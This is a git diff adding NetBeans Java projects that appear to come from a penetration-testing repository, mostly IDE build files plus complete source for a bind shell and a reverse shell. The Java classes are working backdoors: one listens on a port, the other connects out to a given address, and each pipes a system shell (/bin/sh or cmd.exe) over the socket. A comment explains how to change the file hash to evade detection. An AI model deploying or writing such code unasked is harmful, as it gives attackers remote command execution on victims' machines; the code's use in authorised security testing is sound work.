+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + No tests executed. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Must set JVM to use for profiling in profiler.info.jvm + Must set profiler agent JVM arguments in profiler.info.jvmargs.agent + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Must select some files in the IDE or set javac.includes + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + To run this application from the command line without Ant, try: + + java -jar "${dist.jar.resolved}" + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Must select one file in the IDE or set run.class + + + + Must select one file in the IDE or set run.class + + + + + + + + + + + + + + + + + + + + + + + Must select one file in the IDE or set debug.class + + + + + Must select one file in the IDE or set debug.class + + + + + Must set fix.includes + + + + + + + + + + This target only works when run from inside the NetBeans IDE. + + + + + + + + + Must select one file in the IDE or set profile.class + This target only works when run from inside the NetBeans IDE. + + + + + + + + + This target only works when run from inside the NetBeans IDE. + + + + + + + + + + + + + This target only works when run from inside the NetBeans IDE. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Must select one file in the IDE or set run.class + + + + + + Must select some files in the IDE or set test.includes + + + + + Must select one file in the IDE or set run.class + + + + + Must select one file in the IDE or set applet.url + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Must select some files in the IDE or set javac.includes + + + + + + + + + + + + + + + + + + + + + + + + Some tests failed; see details above. + + + + + + + + + Must select some files in the IDE or set test.includes + + + + Some tests failed; see details above. + + + + Must select some files in the IDE or set test.class + Must select some method in the IDE or set test.method + + + + Some tests failed; see details above. + + + + + Must select one file in the IDE or set test.class + + + + Must select one file in the IDE or set test.class + Must select some method in the IDE or set test.method + + + + + + + + + + + + + + + Must select one file in the IDE or set applet.url + + + + + + + + + Must select one file in the IDE or set applet.url + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/src/Bind Shell/nbproject/genfiles.properties b/src/Bind Shell/nbproject/genfiles.properties new file mode 100644 index 0000000..d44f433 --- /dev/null +++ b/src/Bind Shell/nbproject/genfiles.properties @@ -0,0 +1,8 @@ +build.xml.data.CRC32=77abda24 +build.xml.script.CRC32=35915082 +build.xml.stylesheet.CRC32=f85dc8f2@1.97.0.48 +# This file is used by a NetBeans-based IDE to track changes in generated files such as build-impl.xml. +# Do not edit this file. You may delete it but then the IDE will never regenerate such files for you. +nbproject/build-impl.xml.data.CRC32=77abda24 +nbproject/build-impl.xml.script.CRC32=97bfe66b +nbproject/build-impl.xml.stylesheet.CRC32=12e0a6c2@1.106.0.48 diff --git a/src/Bind Shell/nbproject/project.properties b/src/Bind Shell/nbproject/project.properties new file mode 100644 index 0000000..a0a0ca9 --- /dev/null +++ b/src/Bind Shell/nbproject/project.properties @@ -0,0 +1,97 @@ +annotation.processing.enabled=true +annotation.processing.enabled.in.editor=false +annotation.processing.processors.list= +annotation.processing.run.all.processors=true +annotation.processing.source.output=${build.generated.sources.dir}/ap-source-output +application.title=Bind Shell +application.vendor=W10 +build.classes.dir=${build.dir}/classes +build.classes.excludes=**/*.java,**/*.form +# This directory is removed when the project is cleaned: +build.dir=build +build.generated.dir=${build.dir}/generated +build.generated.sources.dir=${build.dir}/generated-sources +# Only compile against the classpath explicitly listed here: +build.sysclasspath=ignore +build.test.classes.dir=${build.dir}/test/classes +build.test.results.dir=${build.dir}/test/results +# Uncomment to specify the preferred debugger connection transport: +#debug.transport=dt_socket +debug.classpath=\ + ${run.classpath} +debug.modulepath=\ + ${run.modulepath} +debug.test.classpath=\ + ${run.test.classpath} +debug.test.modulepath=\ + ${run.test.modulepath} +# Files in build.classes.dir which should be excluded from distribution jar +dist.archive.excludes= +# This directory is removed when the project is cleaned: +dist.dir=dist +dist.jar=${dist.dir}/Bind_Shell.jar +dist.javadoc.dir=${dist.dir}/javadoc +dist.jlink.dir=${dist.dir}/jlink +dist.jlink.output=${dist.jlink.dir}/Bind_Shell +endorsed.classpath= +excludes= +includes=** +jar.compress=false +javac.classpath= +# Space-separated list of extra javac options +javac.compilerargs= +javac.deprecation=false +javac.external.vm=true +javac.modulepath= +javac.processormodulepath= +javac.processorpath=\ + ${javac.classpath} +javac.source=1.8 +javac.target=1.8 +javac.test.classpath=\ + ${javac.classpath}:\ + ${build.classes.dir} +javac.test.modulepath=\ + ${javac.modulepath} +javac.test.processorpath=\ + ${javac.test.classpath} +javadoc.additionalparam= +javadoc.author=false +javadoc.encoding=${source.encoding} +javadoc.html5=false +javadoc.noindex=false +javadoc.nonavbar=false +javadoc.notree=false +javadoc.private=false +javadoc.splitindex=true +javadoc.use=true +javadoc.version=false +javadoc.windowtitle= +# The jlink additional root modules to resolve +jlink.additionalmodules= +# The jlink additional command line parameters +jlink.additionalparam= +jlink.launcher=true +jlink.launcher.name=Bind_Shell +main.class=bind.shell.BindShell +manifest.file=manifest.mf +meta.inf.dir=${src.dir}/META-INF +mkdist.disabled=false +platform.active=default_platform +run.classpath=\ + ${javac.classpath}:\ + ${build.classes.dir} +# Space-separated list of JVM arguments used when running the project. +# You may also define separate properties like run-sys-prop.name=value instead of -Dname=value. +# To set system properties for unit tests define test-sys-prop.name=value: +run.jvmargs= +run.modulepath=\ + ${javac.modulepath} +run.test.classpath=\ + ${javac.test.classpath}:\ + ${build.test.classes.dir} +run.test.modulepath=\ + ${javac.test.modulepath} +source.encoding=UTF-8 +src.dir=src +test.src.dir=test diff --git a/src/Bind Shell/nbproject/project.xml b/src/Bind Shell/nbproject/project.xml new file mode 100644 index 0000000..d20d16d --- /dev/null +++ b/src/Bind Shell/nbproject/project.xml @@ -0,0 +1,15 @@ + + + org.netbeans.modules.java.j2seproject + + + Bind Shell + + + + + + + + + diff --git a/src/Bind Shell/src/bind/shell/BindShell.java b/src/Bind Shell/src/bind/shell/BindShell.java new file mode 100644 index 0000000..f8a4c50 --- /dev/null +++ b/src/Bind Shell/src/bind/shell/BindShell.java @@ -0,0 +1,171 @@ +// Copyright (c) 2021 Ivan Šincek +// Requires Java SE v8 or greater and JDK v8 or greater. +// Works on Linux OS, macOS, and Windows OS. +package bind.shell; + +import java.io.IOException; +import java.io.InputStream; +import java.io.OutputStream; +import java.net.ServerSocket; +import java.net.Socket; +import java.net.SocketTimeoutException; +import java.util.Arrays; + +public class BindShell { + + // NOTE: Change seed to help you change the file hash. + private String seed = "3301Kira"; + private int port = -1; + private String os = null; + private String shell = null; + private byte[] buffer = null; + private int clen = 0; + private boolean error = false; + + public BindShell(int port) { + this.port = port; + } + + private boolean detect() { + boolean detected = true; + this.os = System.getProperty("os.name").toUpperCase(); + if (this.os.contains("LINUX") || this.os.contains("MAC")) { + this.os = "LINUX"; + this.shell = "/bin/sh"; + } else if (this.os.contains("WIN")) { + this.os = "WINDOWS"; + this.shell = "cmd.exe"; + } else { + detected = false; + System.out.print("SYS_ERROR: Underlying operating system is not supported, program will now exit...\n"); + } + return detected; + } + + // strings in Java are immutable, so we need to avoid using them to minimize the data in memory + private void brw(InputStream input, OutputStream output, String iname, String oname) { + int bytes = 0; + try { + do { + if (this.os.equals("WINDOWS") && iname.equals("STDOUT") && this.clen > 0) { + // for some reason Windows OS pipes STDIN into STDOUT + // we do not like that + // we need to discard the data from the stream + do { + bytes = input.read(this.buffer, 0, this.clen >= this.buffer.length ? this.buffer.length : this.clen); + this.clen -= this.clen >= this.buffer.length ? this.buffer.length : this.clen; + } while (bytes > 0 && this.clen > 0); + } else { + bytes = input.read(this.buffer, 0, this.buffer.length); + if (bytes > 0) { + output.write(this.buffer, 0, bytes); + output.flush(); + if (this.os.equals("WINDOWS") && oname.equals("STDIN")) { + this.clen += bytes; + } + } else if (iname.equals("SOCKET")) { + this.error = true; + System.out.print("SOC_ERROR: Shell connection has been terminated\n\n"); + } + } + } while (input.available() > 0); + } catch (SocketTimeoutException ex) {} catch (IOException ex) { + this.error = true; + System.out.print(String.format("STRM_ERROR: Cannot read from %s or write to %s, program will now exit...\n\n", iname, oname)); + } + } + + public void run() { + if (this.detect()) { + ServerSocket listener = null; + + Socket client = null; + OutputStream socin = null; + InputStream socout = null; + + Process process = null; + OutputStream stdin = null; + InputStream stdout = null; + InputStream stderr = null; + + System.out.print("Backdoor is up and running...\n\n"); + System.out.print("Waiting for client to connect...\n\n"); + try { + listener = new ServerSocket(this.port); + do { + client = listener.accept(); + } while (client == null); + client.setSoTimeout(100); + socin = client.getOutputStream(); + socout = client.getInputStream(); + + this.buffer = new byte[1024]; + + process = new ProcessBuilder(this.shell).redirectInput(ProcessBuilder.Redirect.PIPE).redirectOutput(ProcessBuilder.Redirect.PIPE).redirectError(ProcessBuilder.Redirect.PIPE).start(); + stdin = process.getOutputStream(); + stdout = process.getInputStream(); + stderr = process.getErrorStream(); + + System.out.print("Client has connected!\n\n"); + do { + if (!process.isAlive()) { + System.out.print("PROC_ERROR: Shell process has been terminated\n\n"); break; + } + this.brw(socout, stdin, "SOCKET", "STDIN"); + if (stderr.available() > 0) { this.brw(stderr, socin, "STDERR", "SOCKET"); } + if (stdout.available() > 0) { this.brw(stdout, socin, "STDOUT", "SOCKET"); } + } while (!this.error); + System.out.print("Client has disconnected!\n"); + } catch (IOException ex) { + System.out.print(String.format("ERROR: %s\n", ex.getMessage())); + } finally { + if (stdin != null) { try { stdin.close() ; } catch (IOException ex) {} } + if (stdout != null) { try { stdout.close(); } catch (IOException ex) {} } + if (stderr != null) { try { stderr.close(); } catch (IOException ex) {} } + if (process != null) { process.destroy(); } + + if (socin != null) { try { socin.close() ; } catch (IOException ex) {} } + if (socout != null) { try { socout.close(); } catch (IOException ex) {} } + if (client != null) { try { client.close(); } catch (IOException ex) {} } + + if (this.buffer != null) { Arrays.fill(this.buffer, (byte)0); } + + if (listener != null) { try { listener.close(); } catch (IOException ex) {} } + } + } + } + + public static void main(String[] args) { + System.out.print("Java Bind TCP v3.0 by Ivan Sincek.\n"); + System.out.print("GitHub repository at github.com/ivan-sincek/java-reverse-tcp.\n"); + if (args.length != 1) { + System.out.print("Usage: java -jar Bind_Shell.jar \n"); + } else { + boolean error = false; + int port = -1; + args[0] = args[0].trim(); + if (args[0].length() < 1) { + error = true; + System.out.print("Port number is required\n"); + } else { + try { + port = Integer.parseInt(args[0]); + if (port < 0 || port > 65535) { + error = true; + System.out.print("Port number is out of range\n"); + } + } catch (NumberFormatException ex) { + error = true; + System.out.print("Port number is not valid\n"); + } + } + if (!error) { + BindShell sh = new BindShell(port); + sh.run(); + sh = null; + System.gc(); + } + } + } + +} diff --git a/src/Reverse Shell/build.xml b/src/Reverse Shell/build.xml new file mode 100644 index 0000000..28f25e4 --- /dev/null +++ b/src/Reverse Shell/build.xml @@ -0,0 +1,73 @@ + + + + + + + + + + + Builds, tests, and runs the project Reverse Shell. + + + diff --git a/src/Reverse Shell/manifest.mf b/src/Reverse Shell/manifest.mf new file mode 100644 index 0000000..328e8e5 --- /dev/null +++ b/src/Reverse Shell/manifest.mf @@ -0,0 +1,3 @@ +Manifest-Version: 1.0 +X-COMMENT: Main-Class will be added automatically by build + diff --git a/src/Reverse Shell/nbproject/build-impl.xml b/src/Reverse Shell/nbproject/build-impl.xml new file mode 100644 index 0000000..dfb8b96 --- /dev/null +++ b/src/Reverse Shell/nbproject/build-impl.xml @@ -0,0 +1,1771 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Must set src.dir + Must set test.src.dir + Must set build.dir + Must set dist.dir + Must set build.classes.dir + Must set dist.javadoc.dir + Must set build.test.classes.dir + Must set build.test.results.dir + Must set build.classes.excludes + Must set dist.jar + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Must set javac.includes + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + No tests executed. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Must set JVM to use for profiling in profiler.info.jvm + Must set profiler agent JVM arguments in profiler.info.jvmargs.agent + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Must select some files in the IDE or set javac.includes + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + To run this application from the command line without Ant, try: + + java -jar "${dist.jar.resolved}" + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Must select one file in the IDE or set run.class + + + + Must select one file in the IDE or set run.class + + + + + + + + + + + + + + + + + + + + + + + Must select one file in the IDE or set debug.class + + + + + Must select one file in the IDE or set debug.class + + + + + Must set fix.includes + + + + + + + + + + This target only works when run from inside the NetBeans IDE. + + + + + + + + + Must select one file in the IDE or set profile.class + This target only works when run from inside the NetBeans IDE. + + + + + + + + + This target only works when run from inside the NetBeans IDE. + + + + + + + + + + + + + This target only works when run from inside the NetBeans IDE. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Must select one file in the IDE or set run.class + + + + + + Must select some files in the IDE or set test.includes + + + + + Must select one file in the IDE or set run.class + + + + + Must select one file in the IDE or set applet.url + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Must select some files in the IDE or set javac.includes + + + + + + + + + + + + + + + + + + + + + + + + Some tests failed; see details above. + + + + + + + + + Must select some files in the IDE or set test.includes + + + + Some tests failed; see details above. + + + + Must select some files in the IDE or set test.class + Must select some method in the IDE or set test.method + + + + Some tests failed; see details above. + + + + + Must select one file in the IDE or set test.class + + + + Must select one file in the IDE or set test.class + Must select some method in the IDE or set test.method + + + + + + + + + + + + + + + Must select one file in the IDE or set applet.url + + + + + + + + + Must select one file in the IDE or set applet.url + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/src/Reverse Shell/nbproject/genfiles.properties b/src/Reverse Shell/nbproject/genfiles.properties new file mode 100644 index 0000000..0ea60b6 --- /dev/null +++ b/src/Reverse Shell/nbproject/genfiles.properties @@ -0,0 +1,8 @@ +build.xml.data.CRC32=1c441c1a +build.xml.script.CRC32=1840a205 +build.xml.stylesheet.CRC32=f85dc8f2@1.97.0.48 +# This file is used by a NetBeans-based IDE to track changes in generated files such as build-impl.xml. +# Do not edit this file. You may delete it but then the IDE will never regenerate such files for you. +nbproject/build-impl.xml.data.CRC32=1c441c1a +nbproject/build-impl.xml.script.CRC32=fcb02f45 +nbproject/build-impl.xml.stylesheet.CRC32=12e0a6c2@1.106.0.48 diff --git a/src/Reverse Shell/nbproject/project.properties b/src/Reverse Shell/nbproject/project.properties new file mode 100644 index 0000000..068d5a9 --- /dev/null +++ b/src/Reverse Shell/nbproject/project.properties @@ -0,0 +1,97 @@ +annotation.processing.enabled=true +annotation.processing.enabled.in.editor=false +annotation.processing.processors.list= +annotation.processing.run.all.processors=true +annotation.processing.source.output=${build.generated.sources.dir}/ap-source-output +application.title=Reverse Shell +application.vendor=Kira +build.classes.dir=${build.dir}/classes +build.classes.excludes=**/*.java,**/*.form +# This directory is removed when the project is cleaned: +build.dir=build +build.generated.dir=${build.dir}/generated +build.generated.sources.dir=${build.dir}/generated-sources +# Only compile against the classpath explicitly listed here: +build.sysclasspath=ignore +build.test.classes.dir=${build.dir}/test/classes +build.test.results.dir=${build.dir}/test/results +# Uncomment to specify the preferred debugger connection transport: +#debug.transport=dt_socket +debug.classpath=\ + ${run.classpath} +debug.modulepath=\ + ${run.modulepath} +debug.test.classpath=\ + ${run.test.classpath} +debug.test.modulepath=\ + ${run.test.modulepath} +# Files in build.classes.dir which should be excluded from distribution jar +dist.archive.excludes= +# This directory is removed when the project is cleaned: +dist.dir=dist +dist.jar=${dist.dir}/Reverse_Shell.jar +dist.javadoc.dir=${dist.dir}/javadoc +dist.jlink.dir=${dist.dir}/jlink +dist.jlink.output=${dist.jlink.dir}/Reverse_Shell +endorsed.classpath= +excludes= +includes=** +jar.compress=false +javac.classpath= +# Space-separated list of extra javac options +javac.compilerargs= +javac.deprecation=false +javac.external.vm=true +javac.modulepath= +javac.processormodulepath= +javac.processorpath=\ + ${javac.classpath} +javac.source=1.8 +javac.target=1.8 +javac.test.classpath=\ + ${javac.classpath}:\ + ${build.classes.dir} +javac.test.modulepath=\ + ${javac.modulepath} +javac.test.processorpath=\ + ${javac.test.classpath} +javadoc.additionalparam= +javadoc.author=false +javadoc.encoding=${source.encoding} +javadoc.html5=false +javadoc.noindex=false +javadoc.nonavbar=false +javadoc.notree=false +javadoc.private=false +javadoc.splitindex=true +javadoc.use=true +javadoc.version=false +javadoc.windowtitle= +# The jlink additional root modules to resolve +jlink.additionalmodules= +# The jlink additional command line parameters +jlink.additionalparam= +jlink.launcher=true +jlink.launcher.name=Reverse_Shell +main.class=reverse.shell.ReverseShell +manifest.file=manifest.mf +meta.inf.dir=${src.dir}/META-INF +mkdist.disabled=false +platform.active=default_platform +run.classpath=\ + ${javac.classpath}:\ + ${build.classes.dir} +# Space-separated list of JVM arguments used when running the project. +# You may also define separate properties like run-sys-prop.name=value instead of -Dname=value. +# To set system properties for unit tests define test-sys-prop.name=value: +run.jvmargs= +run.modulepath=\ + ${javac.modulepath} +run.test.classpath=\ + ${javac.test.classpath}:\ + ${build.test.classes.dir} +run.test.modulepath=\ + ${javac.test.modulepath} +source.encoding=UTF-8 +src.dir=src +test.src.dir=test diff --git a/src/Reverse Shell/nbproject/project.xml b/src/Reverse Shell/nbproject/project.xml new file mode 100644 index 0000000..9882f5d --- /dev/null +++ b/src/Reverse Shell/nbproject/project.xml @@ -0,0 +1,15 @@ + + + org.netbeans.modules.java.j2seproject + + + Reverse Shell + + + + + + + + + diff --git a/src/Reverse Shell/src/reverse/shell/ReverseShell.java b/src/Reverse Shell/src/reverse/shell/ReverseShell.java new file mode 100644 index 0000000..f86de58 --- /dev/null +++ b/src/Reverse Shell/src/reverse/shell/ReverseShell.java @@ -0,0 +1,168 @@ +// Copyright (c) 2021 Ivan Šincek +// Requires Java SE v8 or greater and JDK v8 or greater. +// Works on Linux OS, macOS, and Windows OS. +package reverse.shell; + +import java.io.IOException; +import java.io.InputStream; +import java.io.OutputStream; +import java.net.InetSocketAddress; +import java.net.Socket; +import java.net.SocketTimeoutException; +import java.util.Arrays; + +public class ReverseShell { + + // NOTE: Change seed to help you change the file hash. + private String seed = "3301Kira"; + private InetSocketAddress addr = null; + private String os = null; + private String shell = null; + private byte[] buffer = null; + private int clen = 0; + private boolean error = false; + + public ReverseShell(String addr, int port) { + this.addr = new InetSocketAddress(addr, port); + } + + private boolean detect() { + boolean detected = true; + this.os = System.getProperty("os.name").toUpperCase(); + if (this.os.contains("LINUX") || this.os.contains("MAC")) { + this.os = "LINUX"; + this.shell = "/bin/sh"; + } else if (this.os.contains("WIN")) { + this.os = "WINDOWS"; + this.shell = "cmd.exe"; + } else { + detected = false; + System.out.print("SYS_ERROR: Underlying operating system is not supported, program will now exit...\n"); + } + return detected; + } + + // strings in Java are immutable, so we need to avoid using them to minimize the data in memory + private void brw(InputStream input, OutputStream output, String iname, String oname) { + int bytes = 0; + try { + do { + if (this.os.equals("WINDOWS") && iname.equals("STDOUT") && this.clen > 0) { + // for some reason Windows OS pipes STDIN into STDOUT + // we do not like that + // we need to discard the data from the stream + do { + bytes = input.read(this.buffer, 0, this.clen >= this.buffer.length ? this.buffer.length : this.clen); + this.clen -= this.clen >= this.buffer.length ? this.buffer.length : this.clen; + } while (bytes > 0 && this.clen > 0); + } else { + bytes = input.read(this.buffer, 0, this.buffer.length); + if (bytes > 0) { + output.write(this.buffer, 0, bytes); + output.flush(); + if (this.os.equals("WINDOWS") && oname.equals("STDIN")) { + this.clen += bytes; + } + } else if (iname.equals("SOCKET")) { + this.error = true; + System.out.print("SOC_ERROR: Shell connection has been terminated\n\n"); + } + } + } while (input.available() > 0); + } catch (SocketTimeoutException ex) {} catch (IOException ex) { + this.error = true; + System.out.print(String.format("STRM_ERROR: Cannot read from %s or write to %s, program will now exit...\n\n", iname, oname)); + } + } + + public void run() { + if (this.detect()) { + Socket client = null; + OutputStream socin = null; + InputStream socout = null; + + Process process = null; + OutputStream stdin = null; + InputStream stdout = null; + InputStream stderr = null; + + try { + client = new Socket(); + client.setSoTimeout(100); + client.connect(this.addr); + socin = client.getOutputStream(); + socout = client.getInputStream(); + + this.buffer = new byte[1024]; + + process = new ProcessBuilder(this.shell).redirectInput(ProcessBuilder.Redirect.PIPE).redirectOutput(ProcessBuilder.Redirect.PIPE).redirectError(ProcessBuilder.Redirect.PIPE).start(); + stdin = process.getOutputStream(); + stdout = process.getInputStream(); + stderr = process.getErrorStream(); + + System.out.print("Backdoor is up and running...\n\n"); + do { + if (!process.isAlive()) { + System.out.print("PROC_ERROR: Shell process has been terminated\n\n"); break; + } + this.brw(socout, stdin, "SOCKET", "STDIN"); + if (stderr.available() > 0) { this.brw(stderr, socin, "STDERR", "SOCKET"); } + if (stdout.available() > 0) { this.brw(stdout, socin, "STDOUT", "SOCKET"); } + } while (!this.error); + System.out.print("Backdoor will now exit...\n"); + } catch (IOException ex) { + System.out.print(String.format("ERROR: %s\n", ex.getMessage())); + } finally { + if (stdin != null) { try { stdin.close() ; } catch (IOException ex) {} } + if (stdout != null) { try { stdout.close(); } catch (IOException ex) {} } + if (stderr != null) { try { stderr.close(); } catch (IOException ex) {} } + if (process != null) { process.destroy(); } + + if (socin != null) { try { socin.close() ; } catch (IOException ex) {} } + if (socout != null) { try { socout.close(); } catch (IOException ex) {} } + if (client != null) { try { client.close(); } catch (IOException ex) {} } + + if (this.buffer != null) { Arrays.fill(this.buffer, (byte)0); } + } + } + } + + public static void main(String[] args) { + System.out.print("Java Reverse TCP v3.0 by Ivan Sincek.\n"); + System.out.print("GitHub repository at github.com/ivan-sincek/java-reverse-tcp.\n"); + if (args.length != 2) { + System.out.print("Usage: java -jar Reverse_Shell.jar \n"); + } else { + boolean error = false; + args[0] = args[0].trim(); + if (args[0].length() < 1) { + error = true; + System.out.print("Address is required\n"); + } + int port = -1; + args[1] = args[1].trim(); + if (args[1].length() < 1) { + error = true; + System.out.print("Port number is required\n"); + } else { + try { + port = Integer.parseInt(args[1]); + if (port < 0 || port > 65535) { + error = true; + System.out.print("Port number is out of range\n"); + } + } catch (NumberFormatException ex) { + error = true; + System.out.print("Port number is not valid\n"); + } + } + if (!error) { + ReverseShell sh = new ReverseShell(args[0], port); + sh.run(); + sh = null; + System.gc(); + } + } + } + +} diff --git a/src/Web Shell/build.xml b/src/Web Shell/build.xml new file mode 100644 index 0000000..3dbb8f5 --- /dev/null +++ b/src/Web Shell/build.xml @@ -0,0 +1,71 @@ + + + + + + + + + + + Builds, tests, and runs the project Web Shell. + + + diff --git a/src/Web Shell/nbproject/ant-deploy.xml b/src/Web Shell/nbproject/ant-deploy.xml new file mode 100644 index 0000000..785fa0b --- /dev/null +++ b/src/Web Shell/nbproject/ant-deploy.xml @@ -0,0 +1,69 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/src/Web Shell/nbproject/build-impl.xml b/src/Web Shell/nbproject/build-impl.xml new file mode 100644 index 0000000..005f95b --- /dev/null +++ b/src/Web Shell/nbproject/build-impl.xml @@ -0,0 +1,1427 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Must set src.dir + Must set test.src.dir + Must set build.dir + Must set build.web.dir + Must set build.generated.dir + Must set dist.dir + Must set build.classes.dir + Must set dist.javadoc.dir + Must set build.test.classes.dir + Must set build.test.results.dir + Must set build.classes.excludes + Must set dist.war + + + + + + + + + +The Java EE server classpath is not correctly set up - server home directory is missing. +Either open the project in the IDE and assign the server or setup the server classpath manually. +For example like this: + ant -Dj2ee.server.home=<app_server_installation_directory> + + +The Java EE server classpath is not correctly set up. Your active server type is ${j2ee.server.type}. +Either open the project in the IDE and assign the server or setup the server classpath manually. +For example like this: + ant -Duser.properties.file=<path_to_property_file> (where you put the property "j2ee.platform.classpath" in a .properties file) +or ant -Dj2ee.platform.classpath=<server_classpath> (where no properties file is used) + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Must set javac.includes + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + No tests executed. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +The libs.CopyLibs.classpath property is not set up. +This property must point to +org-netbeans-modules-java-j2seproject-copylibstask.jar file which is part +of NetBeans IDE installation and is usually located at +<netbeans_installation>/java<version>/ant/extra folder. +Either open the project in the IDE and make sure CopyLibs library +exists or setup the property manually. For example like this: + ant -Dlibs.CopyLibs.classpath=a/path/to/org-netbeans-modules-java-j2seproject-copylibstask.jar + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Must set JVM to use for profiling in profiler.info.jvm + Must set profiler agent JVM arguments in profiler.info.jvmargs.agent + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Must select some files in the IDE or set javac.includes + + + + + + + + + + + + + + + + + + + + + + + + + + + + 